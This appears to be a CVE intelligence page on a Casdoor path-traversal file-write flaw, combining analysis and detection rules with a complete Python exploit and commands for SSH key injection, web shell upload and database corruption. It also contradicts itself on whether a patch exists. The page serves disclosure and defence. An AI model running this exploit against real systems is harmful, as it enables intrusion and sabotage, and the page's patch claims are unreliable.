CVE-2026-6815
Executive Summary
CVE-2026-6815 is a critical arbitrary file write vulnerability in Casdoor's Local File System storage provider. An authenticated attacker with administrative privileges can exploit insufficient path sanitization in the pathPrefix field to perform a Path Traversal attack. This allows the attacker to create or overwrite arbitrary files anywhere on the host filesystem, bypassing the intended storage sandbox. The impact is severe, enabling Remote Code Execution (RCE) via SSH key injection or web shell upload, as well as persistent Denial of Service (DoS) by corrupting core application binaries or database files.
The vulnerability affects Casdoor versions prior to 3.54.1. A public Proof of Concept (PoC) exploit is available on Exploit-DB, demonstrating the attack chain from authentication to file write. No official patch or advisory has been released by the vendor at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Casdoor is a Go-based application distributed via GitHub releases and Docker images. The vulnerability exists in the core application code, not in a third-party package. However, the exploitation of this vulnerability can lead to supply chain compromise if an attacker gains access to the host system and modifies application binaries or configuration files. Organizations using Casdoor in their infrastructure should treat this as a high-priority threat.
CVSS Breakdown & Threat Level
CVSS Score: 5.9 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - The attack does not require special conditions beyond authentication.
- Privileges Required (PR): High (H) - The attacker must have administrative privileges.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): None (N) - The vulnerability does not directly lead to information disclosure.
- Integrity (I): High (H) - The attacker can overwrite arbitrary files, compromising system integrity.
- Availability (A): High (H) - The attacker can corrupt critical files, leading to denial of service.
Threat Level: High. While the CVSS score is Medium due to the requirement for administrative privileges, the potential for RCE and DoS makes this a critical vulnerability in practice.
Deep Dive & Mechanics
The vulnerability resides in the Local File System storage provider within Casdoor. When an administrator creates or updates a storage provider, the pathPrefix field is used to construct the base directory for file uploads. The application fails to properly sanitize this field, allowing an attacker to inject path traversal sequences (e.g., ../../../../../../../../../).
Attack Flow:
- Authentication: The attacker logs in as an administrator.
- Provider Creation: The attacker creates a new storage provider of type
Local File Systemwith a maliciouspathPrefixvalue containing path traversal sequences. - File Upload: The attacker uploads a file using the crafted provider. The application constructs the full file path by concatenating the
pathPrefixwith the user-suppliedfullFilePathparameter. - Arbitrary Write: Due to the lack of sanitization, the resulting path can point to any location on the host filesystem, allowing the attacker to write or overwrite files.
Root Cause: The pathPrefix is not validated against path traversal attacks. The application should either restrict the pathPrefix to a safe base directory or sanitize it to remove traversal sequences.
Vulnerable vs. Patched Code
Vulnerable Code (Casdoor < 3.54.1):
The vulnerable code likely resides in the storage provider handler. A simplified representation:
// Vulnerable: No sanitization of pathPrefix
func (p *LocalFileSystemProvider) getFullPath(filePath string) string {
return filepath.Join(p.PathPrefix, filePath)
}
Patched Code (Casdoor >= 3.54.1):
The patched version should sanitize the pathPrefix to prevent traversal:
// Patched: Sanitize pathPrefix
func (p *LocalFileSystemProvider) getFullPath(filePath string) string {
safePrefix := filepath.Clean(p.PathPrefix)
// Ensure safePrefix is within allowed base directory
if !strings.HasPrefix(safePrefix, allowedBaseDir) {
return ""
}
return filepath.Join(safePrefix, filePath)
}
Note: The exact patch details are unknown as the vendor has not released an advisory. The above is a best-practice example.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Casdoor instance (version < 3.54.1)
- Administrative credentials (username/password)
Exploit Usage:
The provided Exploit-DB code (poc.py) automates the exploitation process.
Setup:
- Install Python 3 and the
requestslibrary. - Download the PoC script.
- Install Python 3 and the
Execution:
SSH Key Injection for RCE:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keysPersistent DoS (Database Corruption):
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.dbReverse Shell (via web server webroot):
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.phpTroubleshooting:
- Use
--appnameand--orgnameif custom namespaces are used. - File overwrite may only succeed once per path; delete the resource via UI/API or use a different provider name.
- Use
-vfor verbose logging.
- Use
Full Exploit Code:
# Exploit Title: Casdoor 3.54.1 - Arbitrary File Write via Path Traversal
# Date: 2026-05-11
# Exploit Author: sixpain
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Version: < 3.54.1
# Tested on: Linux / Docker
# CVE : CVE-2026-6815
"""
Casdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815)
================================================
DESCRIPTION:
This script exploits a Path Traversal vulnerability in the storage provider
management component of Casdoor. By creating a 'Local File System' provider
with a manipulated 'pathPrefix', an authenticated administrator can bypass
the storage sandbox to write, overwrite, or delete arbitrary files on the
underlying host filesystem.
IMPACT:
- Remote Code Execution (RCE) via SSH key injection or web shell upload.
- Persistent Denial of Service (DoS) by corrupting core application binaries
or database files (e.g., casdoor.db).
USAGE EXAMPLES:
1. SSH Key Injection for RCE:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys
2. Persistent DoS (Database Corruption):
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
3. Reverse Shell (via secondary web server webroot):
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
TROUBLESHOOTING & TECHNICAL NOTES:
- APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application
and 'built-in' organization. If you have credentials for custom
namespaces, specify them using the --appname and --orgname flags.
- FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique
remote path. Casdoor's resource management logic prevents direct subsequent
overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the
resource name if the entry already exists in the application's internal
database. To re-exploit the same path, the specific resource entry must
usually be deleted via the UI/API or a different provider name must be used.
- PERMISSIONS: Exploitation success is dependent on the OS-level permissions
of the user account running the Casdoor service.
- VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.
DISCLAIMER:
This tool is for educational and coordinated disclosure purposes only.
Unauthorized testing against systems you do not own is illegal.
"""
import argparse
import requests
import json
import os
def log_request(response, verbose):
"""Prints request and response details if verbose mode is enabled."""
if verbose:
print("\n" + "="*50)
print(f"DEBUG - REQUEST: {response.request.method} {response.request.url}")
print(f"HEADERS: {json.dumps(dict(response.request.headers), indent=2)}")
if response.request.body:
# Handle potential bytes body for multipart
body = response.request.body
if isinstance(body, bytes):
print(f"BODY: <binary data, length {len(body)}>")
else:
print(f"BODY: {body}")
print("-" * 50)
print(f"DEBUG - RESPONSE: {response.status_code}")
print(f"HEADERS: {json.dumps(dict(response.headers), indent=2)}")
try:
print(f"JSON BODY: {json.dumps(response.json(), indent=2)}")
except:
print(f"RAW BODY: {response.text[:500]}...")
print("="*50 + "\n")
def run_poc():
parser = argparse.ArgumentParser(description="Casdoor Path Traversal Exploitation PoC")
parser.add_argument("--url", required=True, help="Target base URL (e.g., http://casdoor:8000)")
parser.add_argument("--usr", default="admin", help="Login username")
parser.add_argument("--psw", default="123", help="Login password")
parser.add_argument("--file", required=True, help="Local file to upload")
parser.add_argument("--rpath", required=True, help="Absolute remote path (e.g., /tmp/pwned.txt)")
parser.add_argument("--appname", default='app-built-in', help="Target Casdoor Application Name")
parser.add_argument("--orgname", default='built-in', help="Target Casdoor Organization Name")
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging")
args = parser.parse_args()
# Sanitize and validate URL schema
target_url = args.url.strip().rstrip('/')
if not target_url.startswith(('http://', 'https://')):
print("[!] No protocol specified. Defaulting to http://")
target_url = f"http://{target_url}"
session = requests.Session()
# Setting common user agent
session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
})
# --- STEP 1: INITIAL SESSION ---
print(f"[*] Step 1: Retrieving initial session cookie...")
try:
r1 = session.get(f"{target_url}/login/built-in")
log_request(r1, args.verbose)
if "casdoor_session_id" not in session.cookies:
print("[-] Error: Failed to retrieve casdoor_session_id.")
return
print(f"[+] Session ID obtained: {session.cookies.get('casdoor_session_id')}")
# --- STEP 2: LOGIN / PRIVILEGE ESCALATION ---
print(f"[*] Step 2: Logging in as {args.usr}...")
login_payload = {
"application": args.appname,
"organization": args.orgname,
"username": args.usr,
"password": args.psw,
"autoSignin": True,
"signinMethod": "Password",
"type": "login"
}
r2 = session.post(
f"{target_url}/api/login",
data=json.dumps(login_payload),
headers={"Content-Type": "text/plain;charset=UTF-8"}
)
log_request(r2, args.verbose)
login_res = r2.json()
if login_res.get("status") == "ok" and 'admin' in login_res.get("data").lower():
print("[+] Login successful. Admin privileges confirmed.")
else:
print("[!] Warning: Not an admin or login failed. Attempting to proceed anyway...")
# --- STEP 2.5: VERSION CHECK ---
print(f"[*] Step 2.5: Checking Casdoor version...")
try:
r_version = session.get(f"{target_url}/api/get-version-info")
log_request(r_version, args.verbose)
if r_version.status_code == 200:
version_data = r_version.json().get("data", {})
if not version_data:
# Some versions might return data directly or in different format
version_data = r_version.json()
version = version_data.get("version", "unknown")
print(f"[+] Target Casdoor version: {version}")
# Check if version is patched (>= 3.54.1)
is_vulnerable = True
if version != "unknown" and version != "dev":
try:
v_clean = version.lstrip('v').split('-')[0]
v_parts = [int(p) for p in v_clean.split('.')]
if v_parts >= [3, 54, 1]:
is_vulnerable = False
except:
pass # Parsing error, assume vulnerable or let user decide
if not is_vulnerable:
print(f"[!] WARNING: Target version {version} is likely PATCHED (>= 3.54.1) and this PoC will not work.")
choice = input("[?] Do you want to continue anyway? (y/N): ").lower()
if choice != 'y':
print("[-] Aborting.")
return
else:
print("[!] Warning: Could not retrieve version info (Status: {}).".format(r_version.status_code))
except Exception as e:
print(f"[!] Error during version check: {e}")
# --- STEP 3: CREATE MALICIOUS STORAGE PROVIDER ---
print("[*] Step 3: Creating Path Traversal Provider...")
provider_payload = {
"owner": "admin",
"name": "path_traversal",
"createdTime": "2026-02-20T17:59:58+01:00",
"displayName": "Path Traversal Provider",
"category": "Storage",
"type": "Local File System",
"method": "Normal",
"pathPrefix": "../../../../../../../../../"
}
r3 = session.post(
f"{target_url}/api/add-provider",
data=json.dumps(provider_payload),
headers={"Content-Type": "text/plain;charset=UTF-8"}
)
log_request(r3, args.verbose)
prov_res = r3.json()
msg = prov_res.get("msg", "")
if prov_res.get("status") == "ok":
print("[+] Malicious provider created successfully.")
elif "UNIQUE constraint failed" in msg:
print("[*] Provider 'path_traversal' already exists. Reusing it.")
else:
print(f"[-] Failed to create provider: {msg}")
if "pathPrefix" in msg and "is not allowed" in msg:
print(f"[!] Escape sequence is sanitized. Check Casdoor version < 3.54.1 (CVE-2026-6815 is likely fixed).")
return
# --- STEP 4: FILE UPLOAD (EXPLOITATION) ---
print(f"[*] Step 4: Uploading {args.file} to {args.rpath}...")
upload_params = {
"owner": args.orgname,
"user": args.usr,
"application": args.appname,
"tag": "custom",
"parent": "ResourceListPage",
"fullFilePath": args.rpath,
"provider": "path_traversal"
}
if not os.path.exists(args.file):
print(f"[-] Error: Local file {args.file} not found.")
return
with open(args.file, 'rb') as f:
# Note: headers are handled automatically by requests for multipart/form-data
files = {'file': (os.path.basename(args.file), f, 'application/octet-stream')}
r4 = session.post(f"{target_url}/api/upload-resource", params=upload_params, files=files)
log_request(r4, args.verbose)
upload_res = r4.json()
if upload_res.get("status") == "ok":
print("\n" + "!"*25)
print(" EXPLOIT SUCCESSFUL")
print("!"*25 + "\n")
print(f"Response Path")
print(25*'-')
print(f'\t-data : {upload_res.get('data')}')
print(f'\t-data2: {upload_res.get('data2')}')
print(f'\t-data3: {upload_res.get('data3')}')
print(25*'-')
else:
print(f"[-] Upload failed: {upload_res.get('msg')}")
except Exception as e:
print(f"[-] An unexpected error occurred: {e}")
if __name__ == "__main__":
run_poc()
Blue Team
Detection & Response:
Monitor for Suspicious Provider Creation:
- Alert on creation of storage providers with
pathPrefixcontaining..or/sequences. - Monitor API endpoint
/api/add-providerfor unusualpathPrefixvalues.
- Alert on creation of storage providers with
Monitor for File Uploads to Unusual Paths:
- Alert on file uploads to paths outside the expected storage directory (e.g.,
/etc/,/home/,/var/www/). - Monitor API endpoint
/api/upload-resourceforfullFilePathparameters containing absolute paths or traversal sequences.
- Alert on file uploads to paths outside the expected storage directory (e.g.,
Log Analysis:
- Review Casdoor application logs for errors related to file operations.
- Correlate provider creation events with subsequent file upload events.
Harden Configuration:
- Restrict administrative access to Casdoor.
- Use a dedicated, low-privilege user for the Casdoor service.
- Implement filesystem monitoring (e.g., auditd) to detect unauthorized file writes.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/api/add-providerwithpathPrefixcontaining../or absolute paths. - POST requests to
/api/upload-resourcewithfullFilePathcontaining absolute paths (e.g.,/etc/passwd,/app/casdoor.db). - Unusual file uploads to non-standard paths.
File System IOCs:
- Unexpected files in sensitive directories (e.g.,
/etc/,/home/,/var/www/). - Modified or corrupted application binaries or database files.
- Presence of web shells or unauthorized SSH keys.
Log IOCs:
- Casdoor logs showing successful file writes to paths outside the expected storage directory.
- Repeated failed login attempts followed by successful admin login and provider creation.
Detection Engineering
YARA Rule
rule CVE_2026_6815_Casdoor_Path_Traversal {
meta:
description = "Detects Casdoor path traversal exploit attempts in HTTP requests"
author = "Valters IT"
date = "2026-05-11"
reference = "CVE-2026-6815"
hash = "unknown"
strings:
$path_traversal = /pathPrefix[\s]*:[\s]*["'][\.\/]{2,}/ nocase
$upload_resource = "fullFilePath"
$provider_create = "add-provider"
condition:
any of them
}
Sigma Rule
title: Casdoor Path Traversal Exploit Attempt
id: 8a4b5c6d-7e8f-9a0b-1c2d-3e4f5a6b7c8d
status: experimental
description: Detects attempts to exploit CVE-2026-6815 by creating a malicious storage provider with path traversal sequences.
author: Valters IT
date: 2026-05-11
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-6815
- https://www.exploit-db.com/exploits/5XXXX
logsource:
category: webserver
product: casdoor
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/api/add-provider'
- '/api/upload-resource'
condition: selection
fields:
- c-ip
- cs-uri-query
- cs-user-agent
falsepositives:
- Legitimate administrative actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-6815 Casdoor Path Traversal Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/add-provider"; http_uri; content:"pathPrefix"; http_client_body; pcre:"/pathPrefix[\s]*:[\s]*["'][\.\/]{2,}/Ri"; sid:1000001; rev:1; reference:cve,2026-6815;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Casdoor: If a patched version becomes available, upgrade to Casdoor >= 3.54.1 immediately.
- Restrict Administrative Access: Limit the number of users with administrative privileges. Use strong, unique passwords and enable multi-factor authentication (MFA).
- Monitor and Audit: Enable detailed logging for all administrative actions, especially provider creation and file uploads. Regularly review logs for suspicious activity.
Long-Term Mitigations:
- Input Validation: Implement strict input validation for the
pathPrefixfield. Reject any values containing..or/sequences. - Sandboxing: Use a dedicated, isolated directory for file storage. Ensure the application runs with the least privileges necessary.
- Web Application Firewall (WAF): Deploy a WAF with rules to detect and block path traversal attempts.
- Regular Security Audits: Conduct regular code reviews and penetration testing to identify and fix similar vulnerabilities.
Workarounds (if patching is not possible):
- Disable the Local File System storage provider if not needed.
- Implement a reverse proxy that filters requests to
/api/add-providerand/api/upload-resourcebased on allowed parameters.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.